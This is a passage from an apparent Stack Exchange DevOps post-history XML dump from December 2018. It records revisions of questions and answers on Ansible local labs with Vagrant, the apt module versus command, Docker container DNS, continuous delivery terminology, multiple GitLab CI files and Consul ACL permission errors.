provider&quot;. It is because without that it's likely readers of the book aren't going to be able to master Ansible by using their laptop as a laboratory. &#xA;&#xA;If you work on physical or virtual machines with Ansible at a bank they might not let you run vagrant or Docker locally or even have admin rights to your laptop or root access on VMs. Mastering Ansible in those situations is really hard. You only have a few test boxes and you have to run the playbooks hundred of times on them to debug. How can you be sure your finished playbook will work first time on production boxes that you cannot access until go-live weekend when it must all work first time? You cannot. Why? Because your last test run on you test hosts might only have worked because of some setting you changes on those hosts weeks ago that you forgot to put into the playbooks. &#xA;&#xA;People might ask &quot;what's that to do with me as I don't work at a bank&quot;. The point is that if you can run vagrant on your laptop and you can rapidly test and experiment you can learn faster. You can also delete it all, and set it up from scratch, as finally testing of your playbooks. That doesn't mean it will work first time on your IaaS if your ssh access to hosts and networking isn't set up but once they are you will be flying. &#xA;&#xA;Mastering anything in the devops space isn't about &quot;I finally got it working&quot; its about &quot;I can automate this to work first time in live and I can constantly improve it&quot;. That is why no book called &quot;Ansible for Devops&quot; would be worth buying if it didn't show you how to locally test against a multi server laboratory on your laptop. &#xA;&#xA;I strongly recommend that people invest their time in setting up a lab on their laptop. It will save you weeks or months over a relatively short time frame. It's really annoying when your laptop has several different labs setup that get slightly conflicting software versions you have to debug but those few hours of extreme frustration pay back fast. &#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18055" PostHistoryTypeId="5" PostId="5646" RevisionGUID="a435b048-b4f4-4380-aece-3beb4a48dce5" CreationDate="2018-12-09T14:47:05.850" UserDisplayName="user5176" Comment="Minor edit: Especially formatting with markdown." Text="Vagrant is a tool to create and customize virtual environments (containers and VMs) in a reproducible fashion (across platforms) using code and a virtualization provider of your choice. VirtualBox is only one of the virtualization providers it supports. Vagrant can also create VMs using Hyper-V, VMware and AWS.&#xD;&#xA;&#xD;&#xA;While VirtualBox's VBoxManage does let you create and configure VirtualBox VMs, Vagrant, by contrast, will allow you to create and configure VMs with the hypervisor provider of choice, which may or may not be VirtualBox. Vagrant is agnostic as to virtualization provider plug-in you use with it. &#xD;&#xA;&#xD;&#xA;To sum it all up, Vagrant does not provide virtualization services itself.&#xD;&#xA;&#xD;&#xA;## Further reading&#xD;&#xA;&#xD;&#xA;**The links below provide helpful insights.**&#xD;&#xA;&#xD;&#xA;An itemized comparison of Vagrant to Hypervisors can be viewed on [this HasiCorp github issue][1].&#xD;&#xA;&#xD;&#xA;These links provide some additional overview of Vagrant that may help bring the difference into focus.&#xD;&#xA;&#xD;&#xA;* [https://www.vagrantup.com/intro/index.html][2]&#xD;&#xA;&#xD;&#xA;* [https://en.wikipedia.org/wiki/Vagrant_(software)][3]&#xD;&#xA;&#xD;&#xA;Also, if you sign-up for a free account at LinuxAcademy you can view and work through [this simple example][4] that includes these tools.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/hashicorp/vagrant/issues/4851&#xD;&#xA;  [2]: https://www.vagrantup.com/intro/index.html&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Vagrant_(software)&#xD;&#xA;  [4]: https://linuxacademy.com/cp/socialize/index/type/community_post/id/22660" ContentLicense="CC BY-SA 4.0" />
  <row Id="18056" PostHistoryTypeId="24" PostId="5646" RevisionGUID="a435b048-b4f4-4380-aece-3beb4a48dce5" CreationDate="2018-12-09T14:47:05.850" Comment="Proposed by 5176 approved by 40, 707 edit id of 878" ContentLicense="CC BY-SA 4.0" />
  <row Id="18057" PostHistoryTypeId="5" PostId="5642" RevisionGUID="ff0fc671-f9b7-4823-b203-e48dd84b9f39" CreationDate="2018-12-09T14:47:56.030" UserDisplayName="user5176" Comment="Minor edit and formatting:" Text="I'd say you have touched another, far more fundamental question - what makes a utility a &quot;DevOps&quot; one? That is, how do you measure the &quot;DevOpsness&quot; of a tool and formalize facts in this context?&#xD;&#xA;&#xD;&#xA;Possibly, my wish list would be **virtualization tools** if they fulfill further criteria down on this list:&#xD;&#xA;&#xD;&#xA;- Open and interoperable API, both for operational and intelligence needs&#xD;&#xA;- Optimized workflows, see &quot;developer experience&quot;&#xD;&#xA;- Machine readable configuration as code&#xD;&#xA;- User community&#xD;&#xA;- Short release cycles&#xD;&#xA;- Certificate of software quality which is nowadays yet very ambigous" ContentLicense="CC BY-SA 4.0" />
  <row Id="18058" PostHistoryTypeId="24" PostId="5642" RevisionGUID="ff0fc671-f9b7-4823-b203-e48dd84b9f39" CreationDate="2018-12-09T14:47:56.030" Comment="Proposed by 5176 approved by 40, 707 edit id of 879" ContentLicense="CC BY-SA 4.0" />
  <row Id="18059" PostHistoryTypeId="5" PostId="5652" RevisionGUID="bafd62c7-63cf-412c-9e2d-f11a9c6081a0" CreationDate="2018-12-09T14:48:00.317" UserId="10599" Comment="added 3 characters in body; added 48 characters in body" Text="**TL;DR** blogs and videos are for the impatient. Books focus on mastery. Mastering Ansible means setting up a local lab for testing full repeatable automation so you can confidential push out changes continously. That is why the book &quot;Ansible for Devops&quot; covers local lab setup with vagrant. &#xA;&#xA;**Long Answer:**&#xA;&#xA;To the specific question is their a simplier book? Why would there be as blogs and videos will cover the &quot;5 minute guide&quot;. Blogs or videos take hours or days of effort but books take months or years. The famous &quot;for dummies&quot; series breaks the mold but most technology books are going to be about mastery. As an &quot;IT veteran&quot; I had until recently overlooked how important videos are in learning new IT. Book publishers are having to adapt to the streaming generation and introductory books are going the way of the dodo. &#xA;&#xA;The rest of this answer says why Ansible for Devops has early chapters on setting up a vagrant lab locally for testing. &#xA;&#xA;Ansible is an agentless tool that runs commands in parallel over ssh. That's very different from many other tools that have a client-server-agent model where you have to install an agent on every server you deploy onto. This means that as long as your IaaS has ssh access, and they all do, you can run Ansible. &#xA;&#xA;What is unique to every IaaS is how the networking is done or how hosts are created. Ansible starts after that assuming you have networking to your hosts and ssh access to those hosts. The Ansible for Devops book doesn't and shouldnt have a section on how to setup a test env on every IaaS provider. It focuses on setting up a test env on your local laptop. Not because that teaches about IaaS it's a load of new skills you need to make your laptop &quot;an IaaS provider&quot;. It is because without that it's unlikely readers of the book are going to be able to master Ansible. Would you want to try to master a programming language that doesn’t run on your laptop?&#xA;&#xA;If you work on physical or virtual machines with Ansible at a bank they might not let you run vagrant or Docker locally or even have admin rights to your laptop or root access on VMs. Mastering Ansible in those situations is really hard. You only have a few test boxes and you have to run the playbooks hundred of times on them to debug. How can you be sure your finished playbook will work first time on production boxes that you cannot access until go-live weekend when it must all work first time? You cannot. Why? Because your last test run on you test hosts might only have worked because of some setting you changes on those hosts weeks ago that you forgot to put into the playbooks. &#xA;&#xA;People might ask &quot;what's that to do with me as I don't have those issues”. The point is that if you can run vagrant on your laptop and you can rapidly test and experiment you can learn faster. You can also delete it all, and set it up from scratch, as finally testing of your playbooks. That doesn't mean it will work first time on your IaaS if your ssh access to hosts and networking isn't set up but once they are you will be flying. &#xA;&#xA;Mastering anything in the devops space isn't about &quot;I finally got it working&quot; its about &quot;I can automate this to work first time in live and I can constantly improve it&quot;. That is why no book called &quot;Ansible for Devops&quot; would be worth buying if it didn't show you how to locally test against a multi server laboratory on your laptop. &#xA;&#xA;I strongly recommend that people invest their time in setting up a lab on their laptop. It will save you weeks or months over a relatively short time frame. It's really annoying when your laptop has several different labs setup that get slightly conflicting software versions you have to debug but those few hours of extreme frustration pay back fast. &#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18060" PostHistoryTypeId="5" PostId="5647" RevisionGUID="044f2d1a-a059-4c03-9fef-3ae789927987" CreationDate="2018-12-09T14:48:34.297" UserDisplayName="user5176" Comment="Minor edit (mainly markdown)." Text="From my experience this is very provider specific and requires evaluating the [SLA][1] offered for a particular service.&#xD;&#xA;&#xD;&#xA;For example the **siteground** cloud server offerings shown at&#xD;&#xA;[https://www.siteground.com/cloud-hosting.htm][2] state: *We preinstall and maintain all the software you need on your server.*&#xD;&#xA;&#xD;&#xA;While offerings from **liquidweb** they make it clear they will customize the support level to fit your requirements (the custom levels of management are [detailed here][3]). You can chose the support level for the product you purchase, whether it's a cloud VPS or dedicated server hardware. &#xD;&#xA;&#xD;&#xA;IMHO most cloud products will probably be vendor managed and provide you a way to perform needed customization. But general statements are not useful when it comes to spending money. You have to confirm what your vendor is providing.&#xD;&#xA;&#xD;&#xA;  [1]: http://Service-level%20agreement&#xD;&#xA;  [2]: https://www.siteground.com/cloud-hosting.htm&#xD;&#xA;  [3]: https://www.liquidweb.com/support/compare/" ContentLicense="CC BY-SA 4.0" />
  <row Id="18061" PostHistoryTypeId="24" PostId="5647" RevisionGUID="044f2d1a-a059-4c03-9fef-3ae789927987" CreationDate="2018-12-09T14:48:34.297" Comment="Proposed by 5176 approved by 707, 11253 edit id of 880" ContentLicense="CC BY-SA 4.0" />
  <row Id="18062" PostHistoryTypeId="5" PostId="5642" RevisionGUID="1c292e83-ec38-41d9-9c60-ca0bcc4a58a2" CreationDate="2018-12-09T14:49:11.093" UserId="707" Comment="added 27 characters in body" Text="I'd say you have touched another, far more fundamental question - what makes a utility a &quot;DevOps&quot; one? That is, how do you measure the &quot;DevOpsness&quot; of a tool and formalize facts in this context?&#xD;&#xA;&#xD;&#xA;Possibly, my wish list for DevOpsness of a tool, **virtualization tools** or other, if they fulfill further criteria down on this list:&#xD;&#xA;&#xD;&#xA;- Open and interoperable API, both for operational and intelligence needs&#xD;&#xA;- Optimized workflows, see &quot;developer experience&quot;&#xD;&#xA;- Machine readable configuration as code&#xD;&#xA;- User community&#xD;&#xA;- Short release cycles&#xD;&#xA;- Certificate of software quality which is nowadays yet very ambigous" ContentLicense="CC BY-SA 4.0" />
  <row Id="18064" PostHistoryTypeId="2" PostId="5655" RevisionGUID="7ada1517-c217-4433-8a6b-ab97eba94d5f" CreationDate="2018-12-09T17:20:38.777" UserId="8359" Text="I believe, alternatively, you could use CloudTrail+CloudWatch rules, but then you will get CREATE_STACK events for _all_ stacks&#xD;&#xA;Here is some information about that:&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cfn-api-logging-cloudtrail.html&#xD;&#xA;https://docs.aws.amazon.com/AmazonCloudWatch/latest/events/EventTypes.html&#xD;&#xA;&#xD;&#xA;And, of course, there's the option to put a lambda which listens on the notification topic and filters the needed events before sending the email." ContentLicense="CC BY-SA 4.0" />
  <row Id="18073" PostHistoryTypeId="50" PostId="2094" RevisionGUID="4b22e8bb-b6e0-403d-995e-3fd2a2cf0f67" CreationDate="2018-12-09T20:01:10.230" UserId="-1" />
  <row Id="18077" PostHistoryTypeId="2" PostId="5658" RevisionGUID="c86f0a89-e5f3-405c-91fd-efca3c6e4e87" CreationDate="2018-12-09T22:55:08.770" UserDisplayName="user5176" Text="Consider these YAML code pieces which are two different parts of some Ansible playbook [I found online][1]:&#xD;&#xA;&#xD;&#xA;    - name: ensure aptitude is installed&#xD;&#xA;     command: apt-get -y install aptitude&#xD;&#xA;&#xD;&#xA;    - name: update the apt package index i.e. apt-get update&#xD;&#xA;      apt: update_cache=yes&#xD;&#xA;&#xD;&#xA;As an Ansible newbie, I recognize two different Ansible modules here: `command` and `apt`.&#xD;&#xA;&#xD;&#xA;What is the difference between `command: apt-get -y install aptitude` and `apt: update_cache=yes`? In other words, why not both be done with an `apt` module?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.tricksofthetrades.net/2017/10/02/ansible-local-playbooks/" ContentLicense="CC BY-SA 4.0" />
  <row Id="18078" PostHistoryTypeId="1" PostId="5658" RevisionGUID="c86f0a89-e5f3-405c-91fd-efca3c6e4e87" CreationDate="2018-12-09T22:55:08.770" UserDisplayName="user5176" Text="Ansible: Difference between command: apt-get -y install aptitude and the apt module" ContentLicense="CC BY-SA 4.0" />
  <row Id="18079" PostHistoryTypeId="3" PostId="5658" RevisionGUID="c86f0a89-e5f3-405c-91fd-efca3c6e4e87" CreationDate="2018-12-09T22:55:08.770" UserDisplayName="user5176" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18080" PostHistoryTypeId="4" PostId="5658" RevisionGUID="d81252ef-60a0-4ed1-ab20-18713663027f" CreationDate="2018-12-09T23:14:32.543" UserDisplayName="user5176" Comment="edited title" Text="Ansible: Difference between command: apt-get -y install X and the apt module" ContentLicense="CC BY-SA 4.0" />
  <row Id="18081" PostHistoryTypeId="2" PostId="5659" RevisionGUID="a9174f5d-c1a5-4e6c-a152-dff027cfe64d" CreationDate="2018-12-09T23:54:09.017" UserId="11266" Text="hey guys I have a docker container A with a domain name attached to it on a host B with a domain name attached to it as well.....how can I access the said container A via A's domain name rather than an B's ip address or domain name from computer C on the host B's local network" ContentLicense="CC BY-SA 4.0" />
  <row Id="18082" PostHistoryTypeId="1" PostId="5659" RevisionGUID="a9174f5d-c1a5-4e6c-a152-dff027cfe64d" CreationDate="2018-12-09T23:54:09.017" UserId="11266" Text="Accessing container by domain name" ContentLicense="CC BY-SA 4.0" />
  <row Id="18083" PostHistoryTypeId="3" PostId="5659" RevisionGUID="a9174f5d-c1a5-4e6c-a152-dff027cfe64d" CreationDate="2018-12-09T23:54:09.017" UserId="11266" Text="&lt;docker&gt;&lt;networking&gt;&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18087" PostHistoryTypeId="5" PostId="5658" RevisionGUID="3caa770a-9240-485f-9e48-91370b82655e" CreationDate="2018-12-10T00:00:26.610" UserDisplayName="user5176" Comment="added 51 characters in body; edited title" Text="Consider these YAML code pieces which are two different parts of some Ansible playbook [I found online][1]:&#xD;&#xA;&#xD;&#xA;      - name: update the apt package index i.e. apt-get update&#xD;&#xA;        apt: update_cache=yes&#xD;&#xA;&#xD;&#xA;      - name: Ensure some basics&#xD;&#xA;        command: apt-get upgrade unattended-upgrades sshguard curl wget git zip unzip tree mc -y&#xD;&#xA;&#xD;&#xA;As an Ansible newbie, I recognize two different Ansible modules here: `apt` and `command`.&#xD;&#xA;&#xD;&#xA;What is the difference between  `apt: update_cache=yes` and `command: apt-get -y install aptitude`? In other words, why not both be done with an `apt` module?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.tricksofthetrades.net/2017/10/02/ansible-local-playbooks/" ContentLicense="CC BY-SA 4.0" />
  <row Id="18088" PostHistoryTypeId="4" PostId="5658" RevisionGUID="3caa770a-9240-485f-9e48-91370b82655e" CreationDate="2018-12-10T00:00:26.610" UserDisplayName="user5176" Comment="added 51 characters in body; edited title" Text="Ansible: Difference between the apt module and command: apt-get -y install X (module)" ContentLicense="CC BY-SA 4.0" />
  <row Id="18093" PostHistoryTypeId="2" PostId="5662" RevisionGUID="4e47afcd-81f2-4a5e-81ff-5e483ae35b34" CreationDate="2018-12-10T02:26:13.227" UserDisplayName="user5176" Text="I create a local Ansible playbook (`playbook.yml`):&#xD;&#xA;    &#xD;&#xA;    - global directives (name and so forth)&#xD;&#xA;      ...&#xD;&#xA;      ...&#xD;&#xA;&#xD;&#xA;      - local directive&#xD;&#xA;        ...&#xD;&#xA;&#xD;&#xA;      - local directive&#xD;&#xA;        ...&#xD;&#xA;      &#xD;&#xA;      # And so forth...&#xD;&#xA;&#xD;&#xA;$ `ansible-playbook playbook.yml`&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;This Ansible playbook is an orchestration and deployment of my entire server environment (Apache, MySQL, PHP, `ssmtp` and further tools like `curl`, `wget`, `zip`, `unzip` `tree` and so forth).&#xD;&#xA;&#xD;&#xA;I assume I should run its YAML playbook each time anew (if Ansible won't do it for me).&#xD;&#xA;&#xD;&#xA;Should I run this Ansible playbook daily/wwekly with cron or Ansible will recursively run it for me with its own magic?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18094" PostHistoryTypeId="1" PostId="5662" RevisionGUID="4e47afcd-81f2-4a5e-81ff-5e483ae35b34" CreationDate="2018-12-10T02:26:13.227" UserDisplayName="user5176" Text="Should local Ansible playbooks be loaded each day/week with cron?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18095" PostHistoryTypeId="3" PostId="5662" RevisionGUID="4e47afcd-81f2-4a5e-81ff-5e483ae35b34" CreationDate="2018-12-10T02:26:13.227" UserDisplayName="user5176" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18100" PostHistoryTypeId="5" PostId="5662" RevisionGUID="22a8c7e8-e991-4d61-bbff-b7ca2a6e3220" CreationDate="2018-12-10T05:52:51.837" UserId="40" Comment="added 1 character in body" Text="I created a local Ansible playbook (`playbook.yml`):&#xD;&#xA;    &#xD;&#xA;    - global directives (name and so forth)&#xD;&#xA;      ...&#xD;&#xA;      ...&#xD;&#xA;&#xD;&#xA;      - local directive&#xD;&#xA;        ...&#xD;&#xA;&#xD;&#xA;      - local directive&#xD;&#xA;        ...&#xD;&#xA;      &#xD;&#xA;      # And so forth...&#xD;&#xA;&#xD;&#xA;$ `ansible-playbook playbook.yml`&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;This Ansible playbook is an orchestration and deployment of my entire server environment (Apache, MySQL, PHP, `ssmtp` and further tools like `curl`, `wget`, `zip`, `unzip` `tree` and so forth).&#xD;&#xA;&#xD;&#xA;I assume I should run its YAML playbook each time anew (if Ansible won't do it for me).&#xD;&#xA;&#xD;&#xA;Should I run this Ansible playbook daily/wwekly with cron or Ansible will recursively run it for me with its own magic?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18101" PostHistoryTypeId="2" PostId="5665" RevisionGUID="fd08630b-b636-4e23-9b5a-4fda01aad393" CreationDate="2018-12-10T06:07:57.810" UserId="11270" Text="As I understand it you need to establish a network service (I.e, compose file), though if you are working with a docker file (e.g, ver. docker 1.x &lt; 2) you typically issue a command or execute a script. In either case, I’ll need to create a new network service and bridge ports (I.e, expose port) to make them accessible:&#xA;&#xA; A &lt;-&gt; B -&gt; C &#xA;&#xA;Check out the documentation: &#xA;&#xA;https://docs.docker.com/network/&#xA;&#xA;Hope that helped." ContentLicense="CC BY-SA 4.0" />
  <row Id="18104" PostHistoryTypeId="50" PostId="1654" RevisionGUID="19bfd9f2-9766-4ee3-a10e-07f7cc0e3eec" CreationDate="2018-12-10T07:00:50.157" UserId="-1" />
  <row Id="18105" PostHistoryTypeId="5" PostId="5662" RevisionGUID="0474a74e-6dee-4ac5-84e6-ca4d9f56a6cf" CreationDate="2018-12-10T07:02:28.370" UserDisplayName="user5176" Comment="added 85 characters in body" Text="I created a local Ansible playbook (`playbook.yml`):&#xD;&#xA;    &#xD;&#xA;    - global directives (name and so forth)&#xD;&#xA;      ...&#xD;&#xA;      ...&#xD;&#xA;&#xD;&#xA;      - local directive&#xD;&#xA;        ...&#xD;&#xA;&#xD;&#xA;      - local directive&#xD;&#xA;        ...&#xD;&#xA;      &#xD;&#xA;      # And so forth...&#xD;&#xA;&#xD;&#xA;$ `ansible-playbook playbook.yml`&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;This Ansible playbook is an orchestration and deployment of my entire server environment (Apache, MySQL, PHP, `ssmtp` and further tools like `curl`, `wget`, `zip`, `unzip` `tree` and so forth).&#xD;&#xA;&#xD;&#xA;Given it is filled with `apt-get upgrade package1 package2 package3 and so forth...` I assume I should run at least parts of this YAML playbook each time anew (if Ansible won't do it itself).&#xD;&#xA;&#xD;&#xA;Should I run this Ansible playbook daily/wwekly with cron or Ansible will recursively run it itself?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18109" PostHistoryTypeId="2" PostId="5666" RevisionGUID="630d93d6-aecf-486b-859f-a2b26508bc96" CreationDate="2018-12-10T07:39:46.323" UserDisplayName="user5176" Text="I understand continuous integration as &quot;orchestrating and continuously installing and/or upgrading an environment, or part of an environment, based on communally-maintained code&quot;.&#xD;&#xA;&#xD;&#xA;*- my own definition.*&#xD;&#xA;&#xD;&#xA;But what is the difference between continuous deployment to continuous delivery, if at all there is one and both are not just parallels." ContentLicense="CC BY-SA 4.0" />
  <row Id="18110" PostHistoryTypeId="1" PostId="5666" RevisionGUID="630d93d6-aecf-486b-859f-a2b26508bc96" CreationDate="2018-12-10T07:39:46.323" UserDisplayName="user5176" Text="What is the difference between continuous deployment to continuous delivery?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18111" PostHistoryTypeId="3" PostId="5666" RevisionGUID="630d93d6-aecf-486b-859f-a2b26508bc96" CreationDate="2018-12-10T07:39:46.323" UserDisplayName="user5176" Text="&lt;terminology&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18112" PostHistoryTypeId="2" PostId="5667" RevisionGUID="9ec5f1f7-51a7-4122-8c72-21241055746b" CreationDate="2018-12-10T10:49:10.960" UserId="10690" Text="Long story short:&#xD;&#xA;&#xD;&#xA;`Continuous delivery is the capability to deploy the software to any given environment at a given point of time.`  The objective is to perform push-button deployments of any version of the software to any environment on demand.&#xD;&#xA;&#xD;&#xA;Continuous Delivery is often conflicted with Continuous Deployment.  Any change the developer makes gets deployed all the way up to Production is *Continuous Deployment*&#xD;&#xA;&#xD;&#xA;The referenced article will give some info:&#xD;&#xA;[DevOps in nutshell][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://medium.com/@itsmesunil/devops-in-a-nutshell-fa0988132de7" ContentLicense="CC BY-SA 4.0" />
  <row Id="18117" PostHistoryTypeId="10" PostId="5666" RevisionGUID="6fe152d7-a30e-48bc-837b-657e8e2ddaf3" CreationDate="2018-12-10T13:29:07.247" UserId="13" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[488],&quot;Voters&quot;:[{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:6,&quot;DisplayName&quot;:&quot;Evgeny&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="18121" PostHistoryTypeId="2" PostId="5669" RevisionGUID="8bb2b847-094e-46a1-932b-8d9ff2ec98e0" CreationDate="2018-12-10T13:37:24.500" UserId="11278" Text="I have a single repo handling integration tests for 4 different software projects. As those projects share common resources, I'd like to create a **generic file** in which all those common features are set properly for preparing the CI/CD job.    &#xD;&#xA;The project organization looks like the following:&#xD;&#xA;&#xD;&#xA;    project_root:&#xD;&#xA;      &gt; folder_1&#xD;&#xA;      &gt; folder_2&#xD;&#xA;      &gt; folder_3&#xD;&#xA;      &gt; folder_4&#xD;&#xA; &#xD;&#xA;From [GitLab's documentation][1] on the `include` keyword, I understand that it is possible to include a file that would handle the common features of all those projects so I don't have to write those command lines in the 4 differents `gitlab-ci.yml`. So I thought I could do the following:&#xD;&#xA;&#xD;&#xA;    project_root:&#xD;&#xA;     common-features-handler.yml&#xD;&#xA;      &gt; folder_1&#xD;&#xA;       gitlab-ci.yml&#xD;&#xA;      &gt; folder_2&#xD;&#xA;       gitlab-ci.yml&#xD;&#xA;      &gt; folder_3&#xD;&#xA;       gitlab-ci.yml&#xD;&#xA;      &gt; folder_4&#xD;&#xA;       gitlab-ci.yml&#xD;&#xA;&#xD;&#xA;The thing is, the documentation is unclear on whether it is possible to have multiple `gitlab-ci.yml` files in the same repo, regardless of them being in separate folders. It just says that this file should be &quot;placed at the root of [the] repository&quot;, so I guess this, in itself, excludes the possibility of having several `gitlab-ci.yml` files in the same repo. I tried including the `common-features-handler.yml` file in the `gitlab-ci.yml` from folder_1 but the job didn't even launched. My guess is that, as it was not at the root of the project, it simply wasn't seen by the CI pipeline.&#xD;&#xA;&#xD;&#xA;So is it possible to have multiple gitlab-ci files in a single repo in one way or another? If not, is there a way for avoiding writing the same setup command lines four times?&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/yaml/#include" ContentLicense="CC BY-SA 4.0" />
  <row Id="18122" PostHistoryTypeId="1" PostId="5669" RevisionGUID="8bb2b847-094e-46a1-932b-8d9ff2ec98e0" CreationDate="2018-12-10T13:37:24.500" UserId="11278" Text="Is it possible to have multiple gitlab-ci files in a single repo?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18123" PostHistoryTypeId="3" PostId="5669" RevisionGUID="8bb2b847-094e-46a1-932b-8d9ff2ec98e0" CreationDate="2018-12-10T13:37:24.500" UserId="11278" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18124" PostHistoryTypeId="5" PostId="5640" RevisionGUID="8f19b5b1-1768-4c12-8297-d552a3ade4e2" CreationDate="2018-12-10T13:37:40.413" UserDisplayName="user8517" Comment="Added edit one" Text="I am trying to setup a consul 1.3.1 server cluster. I am having a really hard time with it. Currently I can setup a single node perfectly fine and it seems to function as needed. I do this using a `acl_master_token` in my config file. However when I add in another node that is also a server but not bootstrapped I run into a whole host of issues. Some of the mains ones are related to joining the cluster (can't it gives me a 403 error) which from what I have read means you need the `acl_agent_token` and when I set that in my config file I still get a 403 error. &#xD;&#xA;&#xD;&#xA;I am assuming that I somehow need to create a policy and then apply that policy to my token. I am not sure how to do this inside a ruby script which is what I have to use to set this up (legacy stuff is in it and I can't remove the consul setup to be manual because it all is part of a chef cookbook).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is my config file, I have nothing else for config other than I start the consul service on both nodes using: `consul agent -data-dir /work-disk/consul_data -config-file /work-disk/consul/conf.json -bind 10.7.1.5`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**conf.json:**&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;bootstrap_expect&quot;: 2, &#xD;&#xA;        &quot;client_addr&quot;: &quot;0.0.0.0&quot;,&#xD;&#xA;        &quot;datacenter&quot;: &quot;&lt;%= @datacenter %&gt;&quot;,&#xD;&#xA;        &quot;acl_datacenter&quot;: &quot;&lt;%= @datacenter %&gt;&quot;,&#xD;&#xA;        &quot;acl_default_policy&quot;:&quot;deny&quot;,&#xD;&#xA;        &quot;acl_down_policy&quot;: &quot;deny&quot;,&#xD;&#xA;        &quot;acl_master_token&quot;: &quot;&lt;%= @acl_master_token %&gt;&quot;,&#xD;&#xA;        &quot;acl_agent_token&quot;: &quot;&lt;%= @acl_agent_token %&gt;&quot;,&#xD;&#xA;        &quot;data_dir&quot;: &quot;&lt;%= @consul_data_dir %&gt;&quot;,&#xD;&#xA;        &quot;domain&quot;: &quot;consul&quot;,&#xD;&#xA;        &quot;enable_script_checks&quot;: true,&#xD;&#xA;        &quot;dns_config&quot;: {&#xD;&#xA;            &quot;enable_truncate&quot;: true,&#xD;&#xA;            &quot;only_passing&quot;: true&#xD;&#xA;        },&#xD;&#xA;        &quot;enable_syslog&quot;: true,&#xD;&#xA;        &quot;encrypt&quot;: &quot;&lt;%= @consul_encryption_key %&gt;&quot;,&#xD;&#xA;        &quot;leave_on_terminate&quot;: true,&#xD;&#xA;        &quot;log_level&quot;: &quot;INFO&quot;,&#xD;&#xA;        &quot;rejoin_after_leave&quot;: true,&#xD;&#xA;        &quot;server&quot;: true&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Ignore the chef variable parts, I figured I would include my template rather than my actual conf.json because I would have to redact the values anyway.&#xD;&#xA;&#xD;&#xA;EDIT**&#xD;&#xA;&#xD;&#xA;When I go to do `consul monitor` I get a 403 permission error even when I use the master token.&#xD;&#xA;&#xD;&#xA;Error message: `Error starting monitor: Unexpected response code: 403 (Permission denied)`" ContentLicense="CC BY-SA 4.0" />
  <row Id="18125" PostHistoryTypeId="5" PostId="5669" RevisionGUID="23e3fe42-7aaf-4665-bf6f-49ac71f3c597" CreationDate="2018-12-10T13:43:12.120" UserId="11278" Comment="added 188 characters in body" Text="I have a single repo handling integration tests for 4 different software projects. As those projects share common resources, I'd like to create a **generic file** in which all those common features are set properly for preparing the CI/CD job.    &#xD;&#xA;The project organization looks like the following:&#xD;&#xA;&#xD;&#xA;    project_root:&#xD;&#xA;      &gt; folder_1&#xD;&#xA;      &gt; folder_2&#xD;&#xA;      &gt; folder_3&#xD;&#xA;      &gt; folder_4&#xD;&#xA; &#xD;&#xA;From [GitLab's documentation][1] on the `include` keyword, I understand that it is possible to include a file that would handle the common features of all those projects so I don't have to write those command lines in the 4 differents `gitlab-ci.yml`. So I thought I could do the following:&#xD;&#xA;&#xD;&#xA;    project_root:&#xD;&#xA;     common-features-handler.yml&#xD;&#xA;      &gt; folder_1&#xD;&#xA;       gitlab-ci.yml&#xD;&#xA;      &gt; folder_2&#xD;&#xA;       gitlab-ci.yml&#xD;&#xA;      &gt; folder_3&#xD;&#xA;       gitlab-ci.yml&#xD;&#xA;      &gt; folder_4&#xD;&#xA;       gitlab-ci.yml&#xD;&#xA;&#xD;&#xA;The thing is, the documentation is unclear on whether it is possible to have multiple `gitlab-ci.yml` files in the same repo, regardless of them being in separate folders. It just says that this file should be &quot;placed at the root of [the] repository&quot;, so I guess this, in itself, excludes the possibility of having several `gitlab-ci.yml` files in the same repo. I tried including the `common-features-handler.yml` file in the `gitlab-ci.yml` from folder_1 but the job didn't even launched. My guess is that, as it was not at the root of the project, it simply wasn't seen by the CI pipeline. This makes me think that it's not possible for one repo to handle several gitlab-ci files, but I couldn't find anything about it in the doc or online to confirm or infirm this hypothesis.&#xD;&#xA;&#xD;&#xA;So is it possible to have multiple gitlab-ci files in a single repo in one way or another? If not, is there a way for avoiding writing the same setup command lines four times?&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/yaml/#include" ContentLicense="CC BY-SA 4.0" />
